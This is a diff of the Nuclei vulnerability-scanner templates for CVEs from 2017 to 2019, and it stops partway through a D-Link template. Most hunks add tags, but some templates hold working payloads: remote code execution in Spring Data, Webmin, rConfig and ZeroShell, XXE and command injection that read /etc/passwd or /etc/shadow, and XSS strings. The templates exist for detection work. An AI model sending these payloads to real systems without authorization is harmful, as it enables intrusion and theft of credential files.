+  tags: cve,cve2017,nodejs,traversal

 requests:
  - method: GET
@@ -4,6 +4,7 @@ info:
  name: "Struts2 RCE "
  severity: critical
  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
+  tags: cve,cve2017,struts,rce

 # This template supports the detection part only.
 # Do not test any website without permission
@@ -5,6 +5,7 @@ info:
  author: pikpikcu
  severity: medium
  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
+  tags: cve,cve2017,magmi,xss

  # Issues:-https://github.com/dweeves/magmi-git/issues/522
  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
@@ -22,4 +23,9 @@ requests:
      - type: word
        words:
          - '"><script>alert(document.domain);</script><'
-        part: body
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,38 @@
+id: CVE-2017-7615
+
+info:
+  name: CVE-2017-7615
+  author: bp0lr & dwisiswant0
+  severity: high
+  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
+  tags: cve,cve2017,mantisbt
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see reference[2] below.
+  # This template works by guessing user ID.
+  # MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].
+
+  # References:
+  # - [1] https://sourceforge.net/projects/mantisbt/files/mantis-stable/
+  # - [2] http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
+  # - [3] https://www.exploit-db.com/exploits/41890
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantis/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<input type=\"hidden\" name=\"account_update_token\" value=\"([a-zA-Z0-9_-]+)\""
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -2,9 +2,10 @@ id: CVE-2017-9506

 info:
  name: Jira IconURIServlet SSRF
-  author: Ice3man
+  author: pd-team
  severity: high
  description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
+  tags: cve,cve2017,atlassian,jira,ssrf

 requests:
  - method: GET
@@ -5,6 +5,8 @@ info:
  author: Random-Robbie
  severity: high
  description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
+  tags: cve,cve2017,php,phpunit,rce
+
  # Reference to exploit
  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
  # https://github.com/RandomRobbieBF/phpunit-brute
@@ -4,6 +4,8 @@ info:
  name: Cisco ASA path traversal vulnerability
  author: organiccrap
  severity: medium
+  tags: cve,cve2018,cisco,traversal
+
  # https://github.com/yassineaboukir/CVE-2018-0296
  # curl -k --path-as-is https://host/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions
  # if vulnerable, curl -k --path-as-is https://host/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/number
@@ -5,13 +5,13 @@ info:
  author: mavericknerd @0h1in9e
  severity: high
  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
+  tags: cve,cve2018,jolokia,xss

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
    matchers-condition: and
    matchers:
      - type: status
@@ -4,8 +4,8 @@ info:
  name: Splunk Sensitive Information Disclosure
  author: Harsh Bothra
  severity: medium
-
-# source:- https://nvd.nist.gov/vuln/detail/CVE-2018-11409
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-11409
+  tags: cve,cve2018,splunk

 requests:
  - method: GET
@@ -4,8 +4,8 @@ info:
  name: Apache Tomcat JK Status Manager Access
  author: Harsh Bothra
  severity: medium
-
-# Source:- https://github.com/immunIT/CVE-2018-11759
+  reference: https://github.com/immunIT/CVE-2018-11759
+  tags: cve,cve2018,apache

 requests:
  - method: GET
@@ -4,6 +4,7 @@ info:
  name: RSA Authentication Manager XSS
  author: madrobot
  severity: medium
+  tags: cve,cve2018,xss,flash

 requests:
  - method: GET
@@ -4,7 +4,8 @@ info:
  name: Spring MVC Directory Traversal Vulnerability
  author: hetroublemakr
  severity: high
-  # reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
+  reference: https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
+  tags: cve,cve2018,spring,traversal

 requests:
  - method: GET
@@ -0,0 +1,36 @@
+id: CVE-2018-1273
+
+info:
+  name: Spring Data Commons Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,
+    and older unsupported versions, contain a property binder vulnerability
+    caused by improper neutralization of special elements.
+    An unauthenticated remote malicious user (or attacker) can supply
+    specially crafted request parameters against Spring Data REST backed HTTP resources
+    or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-1273
+  tags: cve,cve2018,vmware,rce
+
+requests:
+  - payloads:
+      command:
+        - "cat /etc/passwd"
+        - "type C:\\/Windows\\/win.ini"
+    raw:
+      - |
+        POST /account HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+
+        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('§command§')}}')]=nuclei
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
@@ -4,6 +4,7 @@ info:
  name: FortiOS - Credentials Disclosure
  author: organiccrap
  severity: high
+  tags: cve,cve2018,fortios

 requests:
  - method: GET
@@ -0,0 +1,32 @@
+id: CVE-2018-13380
+
+info:
+  name: Fortinet FortiOS Cross-Site Scripting
+  author: shelld3v
+  severity: medium
+  description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
+  type: XSS
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380
+  tags: cve,cve2018,fortios,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/message?title=x&msg=%26%23<svg/onload=alert(1337)>"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=alert(1337)>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,23 @@
+id: CVE-2018-14574
+
+info:
+  name: Django Open Redirect
+  author: pikpikcu
+  severity: low
+  tags: cve,cve2018,django,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//www.example.com"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 301
+      - type: word
+        words:
+          - "Location: https://www.example.com"
+          - "Location: http://www.example.com"
+        part: header
@@ -4,6 +4,7 @@ info:
  name: Responsive filemanager 9.13.1 - SSRF/LFI
  author: madrobot
  severity: high
+  tags: cve,cve2018,ssrf,lfi

 requests:
  - method: POST
@@ -4,7 +4,9 @@ info:
  name: Nuxeo Authentication Bypass Remote Code Execution
  author: madrobot
  severity: high
-  description: Nuxeo Authentication Bypass Remote Code Execution &lt; 103 using a SSTI
+  description: Nuxeo Authentication Bypass Remote Code Execution < 10.3 using a SSTI
+  tags: cve,cve2018,nuxeo,ssti,rce
+
 requests:
  - method: GET
    path:
@@ -13,4 +15,4 @@ requests:
      - type: word
        words:
          - "31333333337"
-        part: body
+        part: body
@@ -4,6 +4,7 @@ info:
  name: fuelCMS 1.4.1 - Remote Code Execution
  author: pikpikcu
  severity: critical
+  tags: cve,cve2018,fuelcms,rce

 # Vendor Homepage: https://www.getfuelcms.com/
 # Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
@@ -21,6 +22,6 @@ requests:
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "root:"
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,34 @@
+id: CVE-2018-17431
+
+info:
+  name: Comodo Unified Threat Management Web Console 2.7.0 - RCE
+  author: dwisiswant0
+  severity: critical
+  description: Comodo Firewall & Central Manager (UTM) All Release before 2.7.0 & 1.5.0 Remote Code Execution (Web Shell based)
+  tags: cve,cve2018,comodo,rce
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48825
+  # - https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276
+
+requests:
+  - raw:
+      - |
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+      - | # to triggering RCE
+        GET /manage/webshell/u?s=5&w=218&h=15&k=%0a&l=62&_=5621298674064 HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Configuration has been altered"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -5,6 +5,7 @@ info:
  author: nadino
  severity: medium
  description: process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
+  tags: cve,cve2018,wordpress,xss

 requests:
  - method: POST
@@ -0,0 +1,22 @@
+id: CVE-2018-19386
+
+info:
+  name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting
+  author: pikpikcu
+  severity: medium
+  refrence: https://www.cvedetails.com/cve/CVE-2018-19386/
+  tags: cve,cve2018,solarwinds,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '<a href="javascript:alert(document.domain)//'
@@ -5,6 +5,7 @@ info:
  author: madrobot & dwisiswant0
  severity: high
  description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)
+  tags: cve,cve2018,oracle,xss

 requests:
  - method: GET
@@ -5,6 +5,7 @@ info:
  author: madrobot & dwisiswant0
  severity: medium
  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
+  tags: cve,cve2018,atlassian,jira,xss

 requests:
  - method: GET
@@ -5,12 +5,21 @@ info:
  author: madrobot
  severity: medium
  description: Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware
+  tags: cve,cve2018,oracle,xss
+
 requests:
  - method: GET
    path:
      - "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
+
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<h1xxx<scriptalert(1)</script"
        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,25 @@
+id: CVE-2018-3167
+
+info:
+  name: Unauthenticated Blind SSRF in Oracle EBS
+  author: geeknik
+  severity: low
+  description: https://medium.com/@x41x41x41/unauthenticated-ssrf-in-oracle-ebs-765bd789a145
+  tags: cve,cve2018,oracle,ebs,ssrf
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/OA_HTML/lcmServiceController.jsp'
+
+    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://localhost:80">
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Unexpected text in DTD'
+        part: body
+      - type: status
+        status:
+          - 200
@@ -3,6 +3,8 @@ info:
  name: node-srv Path Traversal
  author: madrobot
  severity: high
+  reference: https://hackerone.com/reports/309124
+  tags: cve,cve2018,nodejs,traversal

 requests:
  - method: GET
@@ -1,9 +1,10 @@
 id: CVE-2018-3760

 info:
-  name: Rails cve-2018-3760
+  name: Rails CVE-2018-3760
  author: 0xrudra
  severity: high
+  tags: cve,cve2018,rails,traversal

 requests:
  - method: GET
@@ -4,6 +4,7 @@ info:
  name: Atlassian Confluence Status-List XSS
  author: madrobot
  severity: medium
+  tags: cve,cve2018,atlassian,confluence,xss

 requests:
  - method: GET
@@ -0,0 +1,19 @@
+id: CVE-2018-7251
+
+info:
+  name: AnchorCMS Error Log Exposure
+  author: pd-team
+  severity: medium
+  tags: cve,cve2018,anchorcms,logs
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/anchor/errors.log'
+    matchers:
+      - type: word
+        words:
+          - '"date":'
+          - '"message":'
+          - '"trace":['
+        condition: and
@@ -4,6 +4,7 @@ info:
  name: uWSGI PHP Plugin Directory Traversal
  author: madrobot
  severity: high
+  tags: cve,cve2018,uwsgi,php,traversal

 requests:
  - method: GET
@@ -0,0 +1,21 @@
+id: CVE-2018-8006
+
+info:
+  name: Apache ActiveMQ XSS
+  author: pd-team
+  severity: medium
+  tags: cve,cve2018,apache,activemq,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68'
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"><script>alert("1")</script>'
+      - type: word
+        words:
+          - "/html"
+        part: header
@@ -0,0 +1,29 @@
+id: CVE-2018-8033
+
+info:
+  name: Apache OFBiz XXE
+  author: pikpikcu
+  severity: high
+  description: XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04
+  tags: cve,cve2018,apache,ofbiz,xxe
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,16 @@
+id: CVE-2019-10092
+
+info:
+  name: Apache mod_proxy HTML Injection / Partial XSS
+  author: pd-team
+  severity: medium
+  tags: cve,cve2019,apache,htmli
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/%5cgoogle.com/evil.html'
+    matchers:
+      - type: word
+        words:
+          - "<a href=\"/\\google.com/evil.html\">"
@@ -4,8 +4,9 @@ info:
  name: Timesheet 1.5.3 - Cross Site Scripting
  author: pikpikcu
  severity: high
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
+  tags: cve,cve2019,timesheet,xss

-# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
 # Google-Dork: inurl:"/timesheet/login.php"
 # Demo: http://www.mdh-tz.info/

@@ -17,7 +18,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 91
        DNT: 1
@@ -4,6 +4,7 @@ info:
  name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
  author: madrobot
  severity: medium
+  tags: cve,cve2019,jenkins,xss

 requests:
  - method: GET
@@ -18,3 +19,8 @@ requests:
        words:
          - "<svg/onload=alert(1337)>"
        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -4,6 +4,7 @@ info:
  name: exposed_pprof
  author: 0xceeb
  severity: medium
+  tags: cve,cve2019,debug

  # https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
  # http://mmcloughlin.com/posts/your-pprof-is-showing
@@ -4,7 +4,8 @@ info:
  name: Pulse Connect Secure SSL VPN arbitrary file read vulnerability
  author: organiccrap
  severity: high
-  # https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
+  reference: https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
+  tags: cve,cve2019,pulsesecure,traversal

 requests:
  - method: GET
@@ -4,6 +4,7 @@ info:
  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
  author: dwisiswant0
  severity: critical
+  tags: cve,cve2019,atlassian,rce

  # Atlassian Crowd and Crowd Data Center
  # had the pdkinstall development plugin incorrectly enabled in release builds.
@@ -24,7 +25,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
-      - "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
    matchers-condition: and
    matchers:
      - type: word
@@ -0,0 +1,36 @@
+id: CVE-2019-11581
+
+info:
+  name: Atlassian Jira template injection
+  description: There was a server-side template injection vulnerability in Jira Server and Data Center, in the ContactAdministrators and the SendBulkMail actions. An attacker is able to remotely execute code on systems that run a vulnerable version of Jira Server or Data Center. All versions of Jira Server and Data Center from 4.4.0 before 7.6.14, from 7.7.0 before 7.13.5, from 8.0.0 before 8.0.3, from 8.1.0 before 8.1.2, and from 8.2.0 before 8.2.3 are affected by this vulnerability.
+  author: ree4pwn
+  severity: critical
+  reference: https://github.com/jas502n/CVE-2019-11581
+  tags: cve,cve2019,atlassian,jira,ssti,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ContactAdministrators!default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "\\(v4\\.4\\."
+          - "\\(v5\\."
+          - "\\(v6\\."
+          - "\\(v7\\.[012345789]\\."
+          - "\\(v7\\.1[0-2]\\."
+          - "\\(v7\\.6\\.([0-9]|[1][0-3])"
+          - "\\(v7\\.\\13\\.[0-4]"
+          - "\\(v8\\.0\\.[0-2]"
+          - "\\(v8\\.1\\.[0-1]"
+          - "\\(v8\\.2\\.[0-2]"
+        condition: or
+        part: body
+
+      - type: word
+        words:
+          - "Contact Site Administrators"
+        part: body
@@ -0,0 +1,44 @@
+id: CVE-2019-11869
+
+info:
+  name: Yuzo Related Posts plugin XSS
+  author: ganofins
+  severity: medium
+  description: |
+    The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS
+    because it mistakenly expects that is_admin() verifies that the
+    request comes from an admin user (it actually only verifies that the
+    request is for an admin page). An unauthenticated attacker can inject
+    a payload into the plugin settings, such as the
+    yuzo_related_post_css_and_style setting.
+
+    References:
+    - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
+    - https://wpscan.com/vulnerability/9254
+  tags: cve,cve2019,wordpress,wp-plugin,xss
+
+requests:
+  - raw:
+      - |
+        POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/x-www-form-urlencoded
+
+        yuzo_related_post_css_and_style=</style><script>alert(0);</script>
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_2, "<script>alert(0);</script>") == true'
+
+      - type: dsl
+        dsl:
+          - "contains(tolower(all_headers_2), 'text/html') == true"
@@ -4,6 +4,7 @@ info:
  name: Deltek Maconomy 2.2.5 LFIl
  author: madrobot
  severity: high
+  tags: cve,cve2019,lfi

 requests:
  - method: GET
@@ -4,6 +4,7 @@ info:
  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
  author: pikpikcu
  severity: medium
+  tags: cve,cve2019,xss

 # Vendor Homepage: https://webport.se/
 # Software Link: https://webport.se/nedladdningar/
@@ -23,3 +24,7 @@ requests:
        words:
          - '"</script><script>alert(document.domain);</script><script>'
        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -4,6 +4,7 @@ info:
  name: IIceWarp <=10.4.4 - Local File Inclusion
  author: pikpikcu
  severity: high
+  tags: cve,cve2019,lfi

  # reference: https://nvd.nist.gov/vuln/detail/CVE-2019-12593
  # Google Dork:-Powered By IceWarp 10.4.4
@@ -0,0 +1,28 @@
+id: CVE-2019-12725
+
+info:
+  name: Zeroshell 3.9.0 Remote Command Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    This template exploits an unauthenticated command injection vulnerability
+    found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
+    As sudo is configured to execute /bin/tar without a password (NOPASSWD)
+    it is possible to run root commands using the "checkpoint" tar options.
+  references: |
+    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
+    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
+  tags: cve,cve2019,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
@@ -0,0 +1,20 @@
+id: CVE-2019-14223
+
+info:
+  name: Alfresco Share Open Redirect
+  author: pd-team
+  severity: low
+  tags: cve,cve2019,redirect
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/share/page/dologin'
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: success=%2Fshare%2Fpage%2F&failure=:\\google.com&username=baduser&password=badpass
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?google\\.com(?:\\s*)$"
@@ -4,6 +4,7 @@ info:
  name: Odoo 12.0 - Local File Inclusion
  author: madrobot
  severity: high
+  tags: cve,cve2019,lfi

 requests:
  - method: GET
@@ -4,12 +4,11 @@ info:
  name: Open-Scool 3.0/Community Edition 2.3 - Cross Site Scripting
  author: pikpikcu
  severity: medium
-
-# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-14696
-# Vendor Homepage: [https://open-school.org/]
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-14696
+  tags: cve,cve2019,xss

 requests:
-  - metod: GET
+  - method: GET
    path:
      - '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

@@ -4,6 +4,7 @@ info:
  name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
  author: madrobot
  severity: low
+  tags: cve,cve2019,xss

 requests:
  - method: GET
@@ -0,0 +1,25 @@
+id: CVE-2019-15043
+info:
+  author: bing0o
+  name: Grafana unauthenticated API
+  severity: medium
+  tags: cve,cve2019,grafana
+
+requests:
+  - raw:
+      - |
+        POST /api/snapshots HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Length: 235
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/json
+
+        {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
+
+    matchers:
+      - part: body
+        type: word
+        words:
+          - deleteKey
@@ -0,0 +1,30 @@
+id: CVE-2019-15107
+
+info:
+  name: Webmin <= 1.920 Unauhenticated Remote Command Execution
+  author: bp0lr
+  severity: high
+  reference: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
+  tags: cve,cve2019,webmin,rce
+
+requests:
+  - raw:  #
+      - |
+        POST /password_change.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Referer: https://{{Hostname}}/
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 73
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,43 @@
+id: CVE-2019-15858
+
+info:
+  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
+  author: dwisiswant0 & fmunozs & patralos
+  severity: high
+  description: |
+    This template supports the detection part only. See references.
+
+    admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
+    before 2.2.5 for WordPress allows unauthenticated options import,
+    as demonstrated by storing an XSS payload for remote code execution.
+
+    Source/References:
+    - https://github.com/GeneralEG/CVE-2019-15858
+  tags: cve,cve2019,wordpress,wp-pluing,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "2.2.5"
+        part: body
+        negative: true
+
+      - type: word
+        words:
+          - "Changelog"
+        part: body
+
+      - type: word
+        words:
+          - "Woody ad snippets"
+        part: body
@@ -4,8 +4,8 @@ info:
  author: pikpikcu
  name: nostromo 1.9.6 - Remote Code Execution
  severity: critical
-
-  # Source: https://www.exploit-db.com/raw/47837
+  reference: https://www.exploit-db.com/raw/47837
+  tags: cve,cve2019,rce

 requests:
  - raw:
@@ -0,0 +1,21 @@
+id: CVE-2019-1653
+
+info:
+  name: Unauthenticated Cisco Small Business WAN VPN Routers Sensitive Info Disclosure
+  author: dwisiswant0
+  severity: high
+  tags: cve,cve2019,cisco
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/config.exp"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "sysconfig"
+        part: body
@@ -0,0 +1,22 @@
+id: CVE-2019-16662
+
+info:
+  name: rConfig 3.9.2 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+  reference: https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
+  tags: cve,cve2019,rce,intrusive
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,11 +1,11 @@
-id: CVE-2019-16759-1
+id: CVE-2019-16759

 info:
  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
  author: madrobot
  severity: high
-
-# Source:- https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
+  reference: https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
+  tags: cve,cve2019,vbulletin,rce

 requests:
  - raw:
@@ -0,0 +1,61 @@
+id: CVE-2019-16920
+
+info:
+  name: Unauthenticated Multiple D-Link Routers RCE
+  author: dwisiswant0
+  severity: critical
+  description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
+  reference: https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
+  tags: cve,cve2019,dlink,rce
+
+requests:
+  - raw:
+      - |
+        POST /apply_sec.cgi HTTP/1.1
